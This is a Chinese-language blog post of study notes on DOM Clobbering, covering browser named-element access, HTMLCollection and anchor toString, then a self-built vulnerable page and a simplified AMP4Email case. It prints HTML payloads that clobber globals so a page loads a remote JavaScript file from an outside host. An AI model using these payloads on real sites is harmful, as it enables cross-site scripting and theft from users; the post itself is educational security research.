我的DOM Clobbering学习笔记 – 作者:TEag1e

一、背景概述

之前portswigger出DOM Clobbering文章的时候,没学会,就放弃了,今天看了九九师傅的分享,开启了我第二次的Dom Clobbering学习之路。

image

在说DOM Clobbering之前我们先了解下面几个小知识点

二、为什么id属性值可以被DOM直接调用

根据 HTML 规范中所说,拥有id 属性的任何元素,以及拥有name属性的embed元素、form元素、img元素,其属性值将作为 window 对象的属性,即属性值会作为全局变量代表对应元素(前提是在JavaScript上下文作用域内没有声明这个变量名)。

https://html.spec.whatwg.org/multipage/window-object.html#named-access-on-the-window-object

the value of thenamecontent attribute for allembed,form,img, andobjectelements that have a non-emptynamecontent attribute and are in a document treewith window’s associatedDocumentas their root; and

the value of theidcontent attribute for all HTML elementsthat have a non-emptyidcontent attribute and are in a document treewith window’s associatedDocumentas their root.

image

三、当出现两个id相同的元素时会怎样

MDN文档中这么描述id属性

id全局属性定义了一个全文档唯一的标识符 (ID)。它用于在链接(使用片段)、脚本和样式(通过 CSS)中辨识元素。

但是事无绝对,先看一下当出现两个id属性值相同的元素时,使用第二节中所说的方法调用时,会出现什么

image

如图所示,在输入foo的时候,会返回一个HTMLCollection类型的集\合。

HTMLCollection接口表示一个包含了元素(元素顺序为文档流中的顺序)的通用集\合(generic collection),还提供了用来从该集\合中选择元素的方法和属性。

HTMLCollection 对象可以通过子元素的位置、 id属性值、name属性值来获取集\合中的子元素。

image

如上图所示,全局变量foo表示input元素跟img元素的一个集\合,可以通过指定位置为0,或者key为a来获取foo集\合中的input元素。

另外除了刚才笔者提到的这种出现HTMLCollection的情况以外,document对象为了方便用户访问表单、图像、链接等元素创建了如下几个属性images,applets,links,forms,anchors

image

四、JavaScript是如何寻找变量的

作用域(Scope):JavaScript的作用域基于函数体,每一个函数就是一个作用域。

作用域链(Scope Chain):是内部上下文所有变量对象(包括父变量对象)的列表,JavaScript通过作用域链来查询变量。

搞不懂没有关系,直接看下面的例子

如下图所示:

apple函数是banana函数的父作用域

24行,在输出bar1变量时,在当前函数内可以直接找到,于是可以直接输出;

25行,在输出bar2变量时,在当前函数内无法找到,于是跳到父函数中寻找;

26行,在输出bar3变量时,在当前函数及父函数中都没有找到,于是去寻找全局变量。

image

通过作用域链寻找变量有点类似HTML中的样式,都是采用了就近原则。

现在结合一下第二节中提到的知识点

image

如图,当JavaScript全局作用域中没有bar1变量时,会根据id属性值创建bar1变量;全局作用域中有bar2变量时,则没有根据id属性值创建bar2变量。

五、JavaScript toString函数

开始之前先插一个小知识,在JavaScript中,当将非字符串类型的对象当作字符串使用时,会返回该对象的字符串形式,即自动调用该对象的toString方法。

HTML元素相关的对象,在调用toString函数时,大多都是返回[object ObjectName],其中 ObjectName 是对象类型的名称。

如下图所示,将变量var_input当作字符串拼接到Hello后面时,返回的是[object HTMLInputElement]

image

不过有两个特殊的元素,a元素和area元素,这两个元素的toString()指向href属性的值。

https://html.spec.whatwg.org/#api-for-a-and-area-elements

image

五、动手写一个简单的靶机

两个文件:index.php、save.php

PHP相关的知识不在此文中进行讨论

image

UI如下所示

image

六、攻击这个靶机

假设:我们刚才写的是一个复杂的靶机,服务器杜绝用户输入如script,不能使用on开头的属性等等XSS相关的字符。

通过查看HTML页面的源代码可以看到,当存在flag变量时,会创建一个script元素,然后会将target变量的值赋值给script元素的src属性,最后添加到页面中。

image

首先我们需要先创建一个flag变量,然后再创建一个target变量,target变量只能是a元素跟area元素,然后将href属性值设置为我们存放Payload文件。

于是可以构造如下Payload

<input id="flag"><a id="target" href="https://www.teagle.top/poc/alert.js">

点击留言,便可触发

image

如上便是DOM Clobbering

七、看一个真实案例

简化后的JavaScript如下图所示,像极了我们刚才的那个靶机,创建script元素,然后将其他变量赋值给script元素的src属性。

只不过这次的赋值操作多了一些其他逻辑。

image

先看最关键的src属性赋值片段

1、从第21行可知,连接最左侧是loc变量,大家都知道当你可以控制一个绝对URL的最左侧部分时,就可以控制连接指向的主机了,所以关键就在于这个loc变量。比如我们可以将loc变量伪造为https://www.teagle.top/poc/alert.js#,这样后面的字符串拼接都可以不用关心

2、第8-11行可知,必须要执行第9行的代码

3、第14-17行可知,必须要执行第15行的代码,否则便不可控了,所以说最开始的loc变量要保证是一个集\合的形式

于是构造如下Payload

<input type="" id="AMP_MODE">
<input type="" id="AMP_MODE" name="test">
<input type="" id="testLocation">
<input type="" id="AMP_MODE" name="localDev">
<a id="testLocation" name="protocol" href="https://www.teagle.top/poc/alert.js?">
<a id="testLocation" name="host" href="">
<input type="" id="AMP_MODE" name="singlePassType">
<input type="" id="AMP_MODE" name="singlePassType">
<input type="" id="AMP_MODE" name="rtvVersion">
<input type="" id="pluginName">

image

该案例可见:https://research.securitum.com/xss-in-amp4email-dom-clobbering/

八、参考文档

https://html.spec.whatwg.org/multipage/window-object.html

https://html.spec.whatwg.org/#api-for-a-and-area-elements

https://developer.mozilla.org/zh-CN/

https://portswigger.net/research/dom-clobbering-strikes-back

https://www.cnblogs.com/zhiyishou/p/4844928.html

最后打一个小广告,欢迎大家来关注我的公众号《楼兰学习网络安全》。

来源:freebuf.com 2021-03-16 19:25:57 by: TEag1e

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论